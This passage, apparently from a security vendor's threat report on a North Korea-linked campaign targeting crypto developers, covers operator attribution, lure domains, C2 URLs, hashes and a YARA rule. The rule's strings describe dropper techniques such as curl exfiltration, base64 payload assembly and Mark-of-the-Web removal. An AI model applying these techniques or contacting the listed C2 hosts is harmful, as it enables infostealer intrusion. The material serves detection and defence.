inv2boyaa[.]site oslhires[.]ink | 23fb87dba7987105af15305733fd19ef |
buildwithmina[.]ink verifearth[.]space movementgigs[.]site | 066500479fee42a43a18b969729c3a62 |
lineacareers[.]xyz mantlehires[.]xyz | 3268b8179366a1207ce673319bfc3074 |
joinmetis[.]site fuelcouncil[.]ink | 17b87eea9dd474a58be45a8a8547ddaa |
inv2initia[.]ink buildwithmercor[.]site | 0026b5baa3b105bd06dcb8af608585be |
ritualtalents[.]xyz groundvy[.]xyz | 8cea1f1ebd2992af6506ecdd6e1d3fd5 |
The scale of the campaign emerges from these mappings: approximately fifty brands, each with its own domains, visual assets, and sending accounts, all managed from a single platform. This level of organization reflects an industrialized operation, designed to be quickly rolled out to new brands and to withstand the takedown of individual domains.
Attribution
Super-Administrator of the Consoles: eros1030109@gmail[.]com
The administration consoles provide a TypeScript source file, superAdmin.ts, which grants full privileges to a hard-coded email address:
export const SUPER_ADMIN_EMAIL = "eros1030109@gmail.com";
export interface SuperAdminClaims {
email?: string;
is_super_admin?: boolean;
}
/** True when the logged-in user is the configured superAdmin. */
export function isSuperAdmin(
user: SuperAdminClaims | null | undefined
): boolean {
if (!user) return false;
if (user.is_super_admin === true) return true;
return (
(user.email || "").trim().toLowerCase() === SUPER_ADMIN_EMAIL.toLowerCase()
);
}
This address appears among the indicators published by Genians on 10 August 2026, in a report attributing to Kimsuky an operation that uses local LLMs and Git repositories as Command-and-Control (C2) infrastructure [3]. OctoProbe links it to the display name « Oura Kano », which is also shared with the twin address apollo1030109@gmail[.]com [4].
C2 Relay Administrator: 0xapp123
A Medium account using the alias @0xapp123 posted an article presenting past Web3 projects and inviting readers to contact him for professional opportunities [6]. The contact address given is the super-administrator's email address, eros1030109@gmail[.]com.
The same alias appears at the core of the C2 infrastructure: the config.json file of the up-indexings/tasks relay (see Layer #2) was uploaded by a Gitlab account named 0xapp123. The link between the two accounts relies only on the identity of this alias. However, this alias is associated on one side with the super-administrator's email address and on the other side with the management of the C2 relay for the same campaign.
We assess with high confidence that these accounts belong to the same operator.
Database Linked to the Relay Documented by SafeDep: silviattech1129
The configuration of rms-platform contains the connection address for a hosted MongoDB database, whose user name is silviattech1129_db_user. This identifier also appears in the history of the drop-indexings/tasks relay documented by SafeDep [2]: the author adress of a commit in that repository uses the same username, silviattech1129 (commit 6b84014). This exact match, on an uncommon identifier, directly ties the infection chain described by SafeDep to the control platform analyzed here.
We assess with high confidence that the compromise of antd-img-crop and the Trigram campaign are carried out by the same operators.
Developer: alexlopez-g
The configuration of the rms-platform references a backup repository for the platform's code: alexlopez-g/rms-platform (variable GH_BACKUP_REPO). The GitHub account alexlopez-g describes itself as a developer based in the state of Washington (hxxps://www.linkedin[.]com/in/alex-lopez-g).
This account contributed to the repository Foxtopia-NFT/foxtopia-frontend, presented as an NFT application, with a commit signed by the address harper.danie95@gmail[.]com. Three elements link the repository the the campaign:
- The malicious files. The
src/fonts/vendordirectory contains scripts whose names and functionality correspond to the droppers described in this article:install-guard-launcher.js,setup-env.cmd,setup-env.sh,setup-env-launcher.vbs,env-check.js. - The execution mechanism. The directory contains a
.vscode/tasks.jsonfile (which triggers these scripts when the project is opened). This is the method described by Proofpoint about UNK_DeadDrop: a planified task configured to run on the folder opening launches scripts placed in avendor/directory [1]. - The use in fake recruitment approaches. On 26 June 2026, a designer warned the Contra platform community after receiving two nearly identical job offers, one from the address
harper.danie95@gmail[.]com, the other from the domaindscufo[.]xyz. Both invited the victim to execute a command in her terminal [5].
The alexlopez-g account appears both as the manager of the platform's code and as the author of a compromised repository.
We assess with high confidence that it is controled by the operators of the campaign. It is also worth noting that Proofpoint observed many senders using the first name « Alex » in UNK_DeadDrop campaigns[1].
Recruiter: pichi_finance_hr
The platform is configured to control a Telegram account pichi_finance_hr. The name impersonates the Human-Resources department of Pichi Finance, a real cryptocurrency that is now inactive and that previously raised funds from Mantle Network, a brand also impersonated by the campaign. Our hypothesis is that Telegram is likely used as an approach channel, complementary to emails.
Summary of the Identities
Identifier | Plateforms | Role | Linkage Elements | Confidence Level |
eros1030109@gmail[.]com | Gmail | Super-administrator of the consoles | superAdmin.ts ; IOC Genians ; Medium contact | High |
0xapp123 | Medium, GitLab | C2 relay management | config.json ; eros1030109 adress | High |
silviattech1129 | MongoDB, GitLab | Databases ; C2 relay | MongoDB user ; Author of the drop-indexings | High |
alexlopez-g/ harper.danie95@gmail[.]com | GitHub, Gmail | Development ; malicious repositories ; approaches | GH_BACKUP_REPO ; Foxtopia ; Contra alert | High |
pichi_finance_hr | Telegram | Fake recruiter | TELEGRAM_USER variable | High |
Link with Known-Activities: an Extent of UNK_DeadDrop Activity
Proofpoint has been tracking, since April 2026 under the name UNK_DeadDrop, a campaign highly likely to originate from North Korean. It targets cryptocurrency sector developers through job offer or code review request emails bringing them to trojanized repositories [1]. Trigram shares three types of elements with this cluster:
- Infrastructure. The domain
asteara[.]organd the IP address 170.205.29[.]83, attributed by Proofpoint to UNK_DeadDrop, host or serve the Trigram back office. - Tooling. Several indicators suggest that the final payload relies on the OverLord framework [2], for which Proofpoint describes a modified version in UNK_DeadDrop [1]. It removes a publisher extension,
google-update-support, that it does not itself install [2]: this is the name of the extension that UNK_DeadDrop deploys to maintain persistence [1]. This framework will be covered in greater detail in a follow-up article. - TTPs. The Foxtopia repository replicates the
tasks.json+vendor/mechanism described by Proofpoint, as confirmed by these two screenshots of the repo.
Trigram distinguishes itself by expanding its vectors (ClickFix portals, conference invitations, compromise of a legitimate repository) and by a remotely fetched payload rather than being embedded in the repository. We assess with high confidence that Trigram is a continuation of UNK_DeadDrop activity, with an evolved modus operandi.
Conclusion
Key Takeaways
Trigram is a large-scale campaign that impersonates about 50 brands in the blockchain and AI sectors, to trick developers into executing an infostealer themselves. Three social engineering scenarios (recruitment, conference, and package tracking), a software supply-chain compromise, and trojanized code repositories all converge on the same infrastructure and the same payload.
Analysis of this infrastructure revealed the hidden mechanisms behind the attack: a malicious command-and-control (C2) dashboard. This system automates the targeting of users on GitHub, orchestrates massive phishing campaigns through four email providers, monitors the compromise of each victim in real time, and launders the stolen funds through cryptocurrency wallets. The findings, when cross-referenced with research by Proofpoint, SafeDep, and Genians, place this activity within the continuity of the North Korea-aligned threat cluster, UNK_DeadDrop.
A Threat That Is Becoming Industrialized
Four trends emerge from this analysis:
- Industrialization. Social engineering no longer relies on individual interactions but on a campaign management platform comparable to a marketing tool: target segmentation, sending quotas, conversion metrics, and monitoring of decoys.
- Vector multiplication. The same payload is distributed via decoy websites, trojanized code repositories, and the compromise of legitimate projects. Operators exploit developers' trust in their everyday tools.
- Use of legitimate services. Email service providers and code platforms make detection more challenging.
- Use of AI. Behavioral analysis services and conversational assistants lower the cost of the operation.
What's Next
The dropper examined earlier in this article subsequently deploys an infostealer and an agent. Their inner workings and capabilities will be detailed in a forthcoming article, including our findings on cryptocurrency exfiltration.
References
- [1] Proofpoint, Don’t Fear the Repo: UNK_DeadDrop Phishing Campaign Targets Developers to Steal Cryptocurrency, juin 2026 — proofpoint.com/us/blog/threat-insight/dont-fear-repo-unkdeaddrop-phishing-campaign-targets-developers-steal
- [2] SafeDep, antd-img-crop GitHub Repository Hijacked to Deliver OverLord Stealer, 3 novembre 2026 — safedep.io/blog/antd-img-crop-forged-commit-overlord-stealer
- [3] Genians, Kimsuky Integrates AI into Attack Operations, From AI-Generated Decoy Documents to a Local LLM, 10 août 2026 — https://www.genians.co.kr/en/blog/threat_intelligence/kimsuky_ai_llm
- [4] OctoProbe, Kimsuky Operation GitPower GitHub C2, 3 novembre 2026 — https://www.octoprobe.ai/blog/kimsuky-operation-gitpower-github-c2/
- [5] Contra, Scam alert: fake job offers targeting designers, 26 juin 2026 — https://contra.com/community/weG4gy2L-alert-avoid-fake-designer-job-offers
- [6] Medium, @0xapp123 — https://medium.com/@0xapp123/my-past-web3-projects-and-find-a-great-opportunity-to-work-for-you-46591e84f299
Appendices
Observed Techniques Mapping (MITRE ATT&CK)
IOCs
Type | Value | Confidence Level | Description and comments |
Domain | geoveral[.]space | High | Lure |
Domain | lumenorbit[.]space | High | Lure |
Domain | terraverro[.]space | High | Lure |
Domain | albedorb[.]space | High | Lure |
Domain | veriearth[.]space | High | Lure |
Domain | swathely[.]space | High | Lure |
Domain | nadirva[.]space | High | Lure |
Domain | groundvy[.]space | High | Lure |
Domain | bullishtalents[.]xyz | High | Lure |
Domain | ambercouncil[.]xyz | High | Lure |
Domain | boytalents[.]xyz | High | Lure |
Domain | joinnillion[.]xyz | High | Lure |
Domain | seihires[.]xyz | High | Lure |
Domain | inv2scroller[.]xyz | High | Lure |
Domain | availcouncil[.]xyz | High | Lure |
Domain | rdcouncil[.]xyz | High | Lure |
Domain | oslcouncil[.]xyz | High | Lure |
Domain | eignecloudhires[.]xyz | High | Lure |
Domain | movementhires[.]xyz | High | Lure |
Domain | inv2taiko[.]xyz | High | Lure |
Domaine | joinearnest[.]xyz | High | Lure |
Domain | lineahires[.]xyz | High | Lure |
Domain | jointuring[.]xyz | High | Lure |
Domain | pixelground[.]space | High | Lure |
Domain | celestiatalents[.]xyz | High | Lure |
Domain | mercortalents[.]xyz | High | Lure |
Domain | joinsaga[.]xyz | High | Lure |
Domain | buildwithaztec[.]xyz | High | Lure |
Domain | joinfuel[.]xyz | High | Lure |
Domain | hyperlanecouncil[.]xyz | High | Lure |
Domain | kaicouncil[.]xyz | High | Lure |
Domain | metiscouncil[.]xyz | High | Lure |
Domain | mantle2council[.]xyz | High | Lure |
Domain | buildwithalephzero[.]xyz | High | Lure |
Domain | joinocho[.]xyz | High | Lure |
Domain | inv2surge[.]xyz | High | Lure |
Domain | minatalents[.]xyz | High | Lure |
Domain | joinaxelar[.]xyz | High | Lure |
Domain | initiatalents[.]xyz | High | Lure |
Domain | bit2talents[.]xyz | High | Lure |
Domain | workwithbera[.]xyz | High | Lure |
Domain | dymensionhires[.]xyz | High | Lure |
Domain | animocacouncil[.]xyz | High | Lure |
Domain | joinwebflow[.]xyz | High | Lure |
Domain | ritualhires[.]xyz | High | Lure |
Domain | pantherbuilders[.]xyz | High | Lure |
Domain | soniccouncil[.]xyz | High | Lure |
Domain | inv2apexef[.]xyz | High | Lure |
Domain | inv2motus[.]xyz | High | Lure |
Domain | joinsuccinct[.]xyz | High | Lure |
Domain | jointheladders[.]xyz | High | Lure |
Domain | joindill[.]xyz | High | Lure |
Domain | espresssotalents[.]xyz | High | Lure |
Domain | inv2sonic[.]xyz | High | Lure |
Domain | joinkaia[.]xyz | High | Lure |
Domain | inv2animoca[.]xyz | High | Lure |
Domain | inv2amber[.]xyz | High | Lure |
Domain | inv2avail[.]xyz | High | Lure |
Domain | eigencouncil[.]xyz | High | Lure |
Domain | buildwithritual[.]xyz | High | Lure |
Domain | buildwithrd[.]xyz | High | Lure |
Domain | buildwithdymension[.]xyz | High | Lure |
Domain | movementcouncil[.]xyz | High | Lure |
Domain | workwithsei[.]xyz | High | Lure |
Domain | workwithlinea[.]xyz | High | Lure |
Domain | seicareers[.]site | High | Lure |
Domain | workwithapex[.]xyz | High | Lure |
Domain | dymensioncareers[.]xyz | High | Lure |
Domain | buildwithespresso[.]online | High | Lure |
Domain | berahires[.]online | High | Lure |
Domain | axelarbuilders[.]ink | High | Lure |
Domain | buildwithnillion[.]site | High | Lure |
Domain | inv2boyaa[.]site | High | Lure |
Domain | dymensioncouncil[.]site | High | Lure |
Domain | apexbuilders[.]site | High | Lure |
Domain | joinmotus[.]site | High | Lure |
Domain | oslhires[.]ink | High | Lure |
Domain | movementgigs[.]site | High | Lure |
Domain | surgebuilders[.]ink | High | Lure |
Domain | workwitheigen[.]xyz | High | Lure |
Domain | inv2bullish[.]xyz | High | Lure |
Domain | scrolltalents[.]online | High | Lure |
Domain | sonichires[.]site | High | Lure |
Domain | buildwithmina[.]ink | High | Lure |
Domain | verifearth[.]space | High | Lure |
Domain | albedorb[.]world | High | Lure |
Domain | pixelground[.]xyz | High | Lure |
Domain | terraverro[.]info | High | Lure |
Domain | nadirva[.]info | High | Lure |
Domain | geoveral[.]ink | High | Lure |
Domain | groundvy[.]xyz | High | Lure |
Domain | lineagigs[.]site | High | Lure |
Domain | joinmantle[.]ink | High | Lure |
Domain | inv2celestia[.]online | High | Lure |
Domain | buildwithmercor[.]site | High | Lure |
Domain | inv2initia[.]ink | High | Lure |
Domain | fuelcouncil[.]ink | High | Lure |
Domain | joinmetis[.]site | High | Lure |
Domain | mantlehires[.]xyz | High | Lure |
Domain | lineacareers[.]xyz | High | Lure |
Domain | ritualtalents[.]xyz | High | Lure |
Domain | icagllmbt[.]space | High | Lure |
Domain | whaleradar[.]ink | High | Lure |
Domain | d2stradeapp[.]ink | High | Lure |
Domain | ievade[.]net | High | Lure |
Domain | waybilltrack[.]xyz | High | Lure |
Domain | freightviewer[.]ink | High | Lure |
Domain | tracedhl[.]xyz | High | Lure |
Domain | shipdhl[.]xyz | High | Lure |
Domain | loadtrace[.]delivery | High | Lure |
Domain | freightracker[.]ink | High | Lure |
Domain | shiptrace[.]delivery | High | Lure |
Domain | transitwatch[.]ink | High | Lure |
Domain | loadwatchdhl[.]xyz | High | Lure |
Domain | shiptransit[.]ink | High | Lure |
Domain | loadwatcherdpd[.]ink | High | Lure |
Domain | loadtracedpd[.]xyz | High | Lure |
Domain | loadshipdpd[.]ink | High | Lure |
Domain | loadwadpd[.]xyz | High | Lure |
Domain | loadwatchdpd[.]ink | High | Lure |
Domain | tracedpd[.]xyz | High | Lure |
Domain | tracearamex[.]ink | High | Lure |
Domain | trackaramex[.]xyz | High | Lure |
Domain | parcelaramex[.]ink | High | Lure |
Domain | parcelaramex[.]ink | High | Lure |
Domain | tracearamex[.]ink | High | Lure |
Domain | loadshiparamex[.]ink | High | Lure |
Domain | loadwatcharamex[.]xyz | High | Lure |
Domain | shiparamex[.]xyz | High | Lure |
Domain | parcelaramex[.]xyz | High | Lure |
Domain | scrollbuilders[.]xyz | High | Lure |
Domain | kaiatalents[.]xyz | High | Lure |
Domain | inv2metis[.]xyz | High | Lure |
Domain | alephzerotalents[.]xyz | High | Lure |
Domain | buildwithlinea[.]xyz | High | Lure |
Domain | osltalents[.]xyz | High | Lure |
Domain | inv2eigen[.]xyz | High | Lure |
Domain | sagabuilders[.]xyz | High | Lure |
Domain | dymensiontalents[.]xyz | High | Lure |
Domain | sonictalent[.]xyz | High | Lure |
Domain | joinhyperlane[.]xyz | High | Lure |
Domain | sagatalents[.]xyz | High | Lure |
Domain | seitalents[.]xyz | High | Lure |
Domain | taikotalent[.]xyz | High | Lure |
Domain | buildwithsei[.]xyz | High | Lure |
Domain | alephzerobuilders[.]xyz | High | Lure |
Domain | jointoamber[.]xyz | High | Lure |
Domain | inv2dymension[.]xyz | High | Lure |
Domain | ambertalents[.]xyz | High | Lure |
Domain | animocabuilders[.]xyz | High | Lure |
Domain | lineatalent[.]xyz | High | Lure |
Domain | joinanimoca[.]xyz | High | Lure |
Domain | jointoavail[.]xyz | High | Lure |
Domain | buildiwitheigen[.]xyz | High | Lure |
Domain | buildwithtaiko[.]xyz | High | Lure |
Domain | inv2mantle[.]xyz | High | Lure |
Domain | inv2nillion[.]xyz | High | Lure |
Domain | nillionbuilders[.]xyz | High | Lure |
Domain | turingbuilders[.]xyz | High | Lure |
Domain | buildwithboyaa[.]xyz | High | Lure |
Domain | succinctbuilders[.]xyz | High | Lure |
Domain | seibuilders[.]xyz | High | Lure |
Domain | inv2saga[.]xyz | High | Lure |
Domain | joineigencloud[.]xyz | High | Lure |
Domain | aztectalents[.]xyz | High | Lure |
Domain | joinaztec[.]xyz | High | Lure |
Domain | aztecbuilders[.]xyz | High | Lure |
Domain | inv2bera[.]xyz | High | Lure |
Domain | beratalents[.]xyz | High | Lure |
Domain | movementtalents[.]xyz | High | Lure |
Domain | axelartalents[.]xyz | High | Lure |
Domain | ritualbuilders[.]xyz | High | Lure |
Domain | rdtalents[.]xyz | High | Lure |
Domain | dymensionbuilders[.]xyz | High | Lure |
Domain | inv2osl[.]xyz | High | Lure |
Domain | buildwithfuel[.]xyz | High | Lure |
Domain | buildwithsonic[.]xyz | High | Lure |
Domain | nilliontalents[.]xyz | High | Lure |
Domain | buildwithbullish[.]xyz | High | Lure |
Domain | movementbuilders[.]xyz | High | Lure |
Domain | panthertalents[.]xyz | High | Lure |
IP | 170.205.31[.]182 | High | - |
IP | 216.198.79[.]1 | High | - |
IP | 198.54.127[.]82 | High | - |
IP | 170.205.29[.]83 | High | - |
IP | 185.147.159[.]187 | High | - |
IP | 146.19.215[.]187 | High | - |
IP | 170.205.30[.]27 | High | - |
IP | 193.160.32[.]10 | High | - |
IP | 193.160.32[.]188 | High | - |
IP | 65.110.40[.]18 | High | - |
IP | 170.205.28[.]251 | High | - |
IP | 193.160.32[.]243 | High | - |
IP | 208.84.100[.]64 | High | - |
IP | 23.137.104[.]77 | High | - |
Domain | validator[.]dokamacto.xyz | High | Dashboard |
Domain | online[.]dokamacto.xyz | High | Dashboard |
Domain | dokamacto[.]xyz | High | Dashboard |
Domain | dashboard[.]asteara.org | High | Dashboard |
Domain | dashboard[.]gaganata.ink | High | Dashboard |
Domain | almanac[.]3dscenebox.online | High | Dashboard |
Domain | dashboard[.]cklomino.ink | High | Dashboard |
Domain | gamsterb[.]ink | High | C2 |
Domain | api[.]cerysoi[.]ink | High | C2 |
Domain | api[.]fallgganata[.]ink | High | Backup C2 |
URL | hxxps://api.gamsterb.ink/guard-launcher-result | High | Reporting the dropper's execution results |
URL | hxxps://api.gamsterb.ink/guard-install-log | High | Submission of Installation and Execution Logs |
URL | hxxps://api.fallgamsterb.ink/guard-launcher-result | High | Reporting the dropper's execution results |
URL | hxxps://api.fallgamsterb.ink/guard-install-log | High | Submission of Installation and Execution Logs |
HASH | cd20f43f985f7df7ba3ad9b08e5bdbecc20aaa4d8f60dc09e8468bdd1b249fe6 | High | A Linux dropper that allows the installation of a second payload |
HASH | 249626244f23928c75e6c382da62278ed1d4e012a0c0f62beafefc1e4d7c5baa | High | A Windows dropper that allows the installation of a second payload |
TRIGRAM Infrastructure
Our analysts have mapped TRIGRAM's infrastructure using the osintracker application.
Here is a preview:
Signatures
Yara Signatures
rule Dropper_DeepfakeGuard_NodeLoader_Generic
{
meta:
description = "DeepfakeGuard Dropper: Bash launchers for Linux/macOS and Batch for Windows featuring Base64 payloads to load a malicious JS file via Node.js"
author = "Stormshield"
hashes = "cd20f43f985f7df7ba3ad9b08e5bdbecc20aaa4d8f60dc09e8468bdd1b249fe6, 249626244f23928c75e6c382da62278ed1d4e012a0c0f62beafefc1e4d7c5baa"
created = "2026-11-06"
modified = "2026-11-06"
score = 100
reference = "Static analysis of verify_m and verify_w"
tlp = "TLP:CLEAR"
strings:
// -------------------
// Telemetry artifacts
// -------------------
$ep1 = "guard-launcher-result" ascii
$ep2 = "guard-install-log" ascii
$ep3 = "guard-install-progress" ascii
$hdr = "X-Guard-Platform" ascii
// --------------- //
// Kit identifiers
// --------------- //
$nm1 = "deepfake_guard.launcher.status" ascii
$nm2 = "deepfake_guard_work" ascii
$nm3 = "deepfake_guard.lock.d" ascii
$nm4 = "deepfake_guard_run.sh" ascii
$nm5 = "deepfake_guard.worker.lock" ascii
$nm6 = "=== deepfake_guard install started ===" ascii
// ----------------- //
// Node.js artifacts
// ----------------- //
$js1 = "install_guard.js" ascii
$js2 = "install_guard_alt.js" ascii
$nd1 = "node-v20.18.1" ascii
$nd2 = "GUARD_STORE_FALLBACK" ascii
$nd3 = "GUARD_LOG_UPLOAD_URL" ascii
// ------------------------------------------ //
// Environment variables and execution states
// ------------------------------------------ //
$env1 = "NVDG_INSTALLER_DIR" ascii
$env2 = "NVDG_LAUNCHER" ascii
$env3 = "NVDG_DETACHED" ascii
$env4 = "NVDG_HIDDEN" ascii
$env5 = "NVDG_SELF" ascii
$st1 = "payload_ready" ascii
$st2 = "decode_failed" ascii
$st3 = "payload_failed" ascii
$st4 = "worker_timeout" ascii
// ----------------------------------------------- //
// Linux and macOS specific artifacts and commands
// ----------------------------------------------- //
$lx1 = "/var/tmp/.kdm." ascii
$lx2 = "ANE compute driver sync" ascii
$lx3 = "base64 -D 2>/dev/null || base64 -d" ascii
$lx4 = "/var/tmp/upd_m" ascii
$lx5 = "upda_m" ascii
$lx6 = "nohup bash \"$0\"" ascii
// --------------------------------------- //
// Windows specific artifacts and commands
// --------------------------------------- //
$wn1 = "~kdm_" ascii
$wn2 = "~nvdg_worker.vbs" ascii
$wn3 = "NVIDIA kernel module staging helper" ascii
$wn4 = ":Zone.Identifier" ascii nocase
$wn5 = "Unblock-File" ascii nocase
$wn6 = "upd_w.cmd" ascii
$wn7 = "upda_w.cmd" ascii
$wn8 = "set NVDG_HIDDEN=1" ascii
$wn9 = "wscript //B" ascii nocase
// ------------------------------------ //
// cURL specific artifacts and commands
// ------------------------------------ //
$cu1 = "curl -sk -X POST -H \"Content-Type" ascii
$cu2 = "curl -kfsSL --http1.1 -C -" ascii
$cu3 = "--retry-all-errors" ascii
// --------------------------------------- //
// Base64 assembly and decoding structures
// --------------------------------------- //
// Base64 for "#!/bin/bash\n\nGUARD_DIR=\""
$b64_lx = "IyEvYmluL2Jhc2gKCkdVQVJEX0RJUj0i" ascii
// Base64 for "@echo off\r\n\r\nsetlocal EnableDelayedExpansion"
$b64_wn = "QGVjaG8gb2ZmDQoNCnNldGxvY2FsIEVuYWJsZURlbGF5ZWRFeHBhbnNpb24N" ascii
$b64_dg = "deepfake_guard" base64
$b64_gs = "gamsterb.ink" base64
$b64_ijs = "install_guard.js" base64
// --------------------------------------- //
// Base64 assembly and decoding structures
// --------------------------------------- //
$re_blob_lx = /\n_[0-9a-f]{6}="\$\{_[0-9a-f]{6}\}[A-Za-z0-9+\/=]{60,}"/
$re_blob_wn = /\n>>"%_[0-9a-f]{6}%" echo [A-Za-z0-9+\/=]{40,}\r?\n/
$dc_wn1 = "[Convert]::FromBase64String" ascii nocase
$dc_wn2 = "WriteAllBytes" ascii nocase
$dc_wn3 = "ReadAllText" ascii nocase
// Base64 for "#!/bin/bash"
$b64_sh = "IyEvYmluL2Jhc2g" ascii
// Base64 for "@echo off"
$b64_bat = "QGVjaG8gb2Zm" ascii
condition:
filesize < 500KB and
(
// 1. TELEMETRY
// Detects the loader's HTTP telemetry mechanism. Requires the platform identification header and at least two known telemetry endpoints.
(
$hdr and
2 of ($ep*)
)
// 2. KIT IDENTIFIERS
// Detects the loader using NVDG_ environment variables, Node.js scripts, and unique file naming conventions.
or
(
2 of ($nm*) and
1 of ($js*) and
2 of ($env*)
)
// 3. PORTABLE NODE.JS
// Detects the Node.js installation mechanism using a specific portable version, config scripts, and cURL commands.
or
(
$nd1 and
2 of ($nd2, $nd3, $js1, $js2) and
1 of ($cu*)
)
// 4. LAUNCHER STATES
// Detects launcher-worker communication via execution states, NVDG_ variables, Node.js scripts, and cURL commands.
or
(
3 of ($st*) and
2 of ($env*) and
1 of ($js*) and
1 of ($cu*)
)
// 5. LINUX / macOS LAUNCHER
// Detects the Bash launcher using temporary files, Base64 decoding, background commands, and kit identifiers.
or
(
2 of ($lx*) and
1 of ($nm*, $js*, $env*)
)
// 6. WINDOWS LAUNCHER
// Detects the Batch launcher using temporary files, worker scripts, Windows indicators, and kit identifiers.
or
(
2 of ($wn*) and
1 of ($nm*, $js*, $env*)
)
// 7. WINDOWS MOTW REMOVAL AND HIDDEN EXECUTION
// Detects Windows Mark-of-the-Web removal and hidden worker execution via PowerShell, WScript, and NVDG_ variables.
or
(
$wn4 and
$wn5 and
$wn9 and
1 of ($env*)
)
// 8. EMBEDDED BASE64 PAYLOAD PREFIX
// Detects embedded stage 2 payloads via Bash/Batch Base64 prefixes, execution states, NVDG_ variables, or cURL commands.
or
(
1 of ($b64_lx, $b64_wn) and
(
1 of ($st*) or
1 of ($env*) or
1 of ($cu*)
)
)
// 9. EMBEDDED BASE64 CONTENT
// Detects encoded payload strings using Base64 identifiers combined with execution states or NVDG_ variables.
or
(
2 of ($b64_dg, $b64_gs, $b64_ijs) and
1 of ($env*, $st*)
)
// 10. LINUX / macOS BASE64 ASSEMBLY
// Detects Bash payload assembly via Base64 block concatenation, Linux/macOS decoding commands, and script prefixes.
or
(
#re_blob_lx > 20 and
$lx3 and
$b64_sh
)
// 11. WINDOWS BASE64 ASSEMBLY
// Detects Windows payload assembly via Base64 block writes, PowerShell decoding APIs, and Batch script prefixes.
or
(
#re_blob_wn > 20 and
all of ($dc_wn*) and
$b64_bat
)
)
}




























